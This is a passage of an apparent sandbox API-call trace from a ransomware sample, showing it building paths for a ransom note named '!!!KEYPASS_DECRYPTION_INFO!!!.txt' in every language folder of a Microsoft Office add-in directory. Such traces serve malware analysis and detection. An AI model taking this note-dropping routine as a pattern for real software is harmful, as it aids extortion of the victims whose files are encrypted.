wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.230] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.230] GetLastError () returned 0x3f0 [0273.230] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.230] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.231] GetFileType (hFile=0x11d4) returned 0x1 [0273.232] CloseHandle (hObject=0x11d4) returned 1 [0273.232] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.232] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.232] GetLastError () returned 0x3f0 [0273.232] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.232] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.233] GetFileType (hFile=0x11d8) returned 0x1 [0273.233] CloseHandle (hObject=0x11d8) returned 1 [0273.234] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.234] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.234] GetLastError () returned 0x3f0 [0273.234] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.234] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\quz\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.235] GetFileType (hFile=0x11dc) returned 0x1 [0273.235] CloseHandle (hObject=0x11dc) returned 1 [0273.236] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.236] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.236] GetLastError () returned 0x3f0 [0273.236] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.236] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.250] GetFileType (hFile=0x11e4) returned 0x1 [0273.251] CloseHandle (hObject=0x11e4) returned 1 [0273.251] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.251] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.251] GetLastError () returned 0x3f0 [0273.251] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.251] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.279] GetFileType (hFile=0x11e8) returned 0x1 [0273.280] CloseHandle (hObject=0x11e8) returned 1 [0273.280] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.280] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.280] GetLastError () returned 0x3f0 [0273.280] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.280] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sd-Arab-PK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.289] GetFileType (hFile=0x11e0) returned 0x1 [0273.289] CloseHandle (hObject=0x11e0) returned 1 [0273.290] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.290] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.290] GetLastError () returned 0x3f0 [0273.290] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.290] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\si\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.291] GetFileType (hFile=0x11ec) returned 0x1 [0273.291] CloseHandle (hObject=0x11ec) returned 1 [0273.292] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.292] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.292] GetLastError () returned 0x3f0 [0273.292] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.292] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.293] GetFileType (hFile=0x11f0) returned 0x1 [0273.293] CloseHandle (hObject=0x11f0) returned 1 [0273.293] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.294] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.294] GetLastError () returned 0x3f0 [0273.294] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.294] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.295] GetFileType (hFile=0x11f4) returned 0x1 [0273.295] CloseHandle (hObject=0x11f4) returned 1 [0273.296] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.296] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.296] GetLastError () returned 0x3f0 [0273.296] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.296] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sq\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.297] GetFileType (hFile=0x11f8) returned 0x1 [0273.298] CloseHandle (hObject=0x11f8) returned 1 [0273.298] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.298] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.298] GetLastError () returned 0x3f0 [0273.298] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.298] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.299] GetFileType (hFile=0x1200) returned 0x1 [0273.300] CloseHandle (hObject=0x1200) returned 1 [0273.300] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.300] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.301] GetLastError () returned 0x3f0 [0273.301] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.301] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.302] GetFileType (hFile=0x1204) returned 0x1 [0273.303] CloseHandle (hObject=0x1204) returned 1 [0273.303] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.303] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.303] GetLastError () returned 0x3f0 [0273.303] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.303] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.304] GetFileType (hFile=0x1208) returned 0x1 [0273.305] CloseHandle (hObject=0x1208) returned 1 [0273.305] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.305] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.305] GetLastError () returned 0x3f0 [0273.305] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.305] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.307] GetFileType (hFile=0x120c) returned 0x1 [0273.307] CloseHandle (hObject=0x120c) returned 1 [0273.308] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.308] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.308] GetLastError () returned 0x3f0 [0273.308] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.308] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.309] GetFileType (hFile=0x1210) returned 0x1 [0273.309] CloseHandle (hObject=0x1210) returned 1 [0273.310] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.310] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.310] GetLastError () returned 0x3f0 [0273.310] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.310] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sw\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.311] GetFileType (hFile=0x1214) returned 0x1 [0273.312] CloseHandle (hObject=0x1214) returned 1 [0273.312] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.313] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.313] GetLastError () returned 0x3f0 [0273.313] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.313] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.315] GetFileType (hFile=0x11fc) returned 0x1 [0273.315] CloseHandle (hObject=0x11fc) returned 1 [0273.316] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.316] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.316] GetLastError () returned 0x3f0 [0273.316] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.316] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\te\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.317] GetFileType (hFile=0x1218) returned 0x1 [0273.318] CloseHandle (hObject=0x1218) returned 1 [0273.318] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.318] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.318] GetLastError () returned 0x3f0 [0273.318] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.318] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.319] GetFileType (hFile=0x121c) returned 0x1 [0273.320] CloseHandle (hObject=0x121c) returned 1 [0273.320] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.320] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.320] GetLastError () returned 0x3f0 [0273.320] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.320] 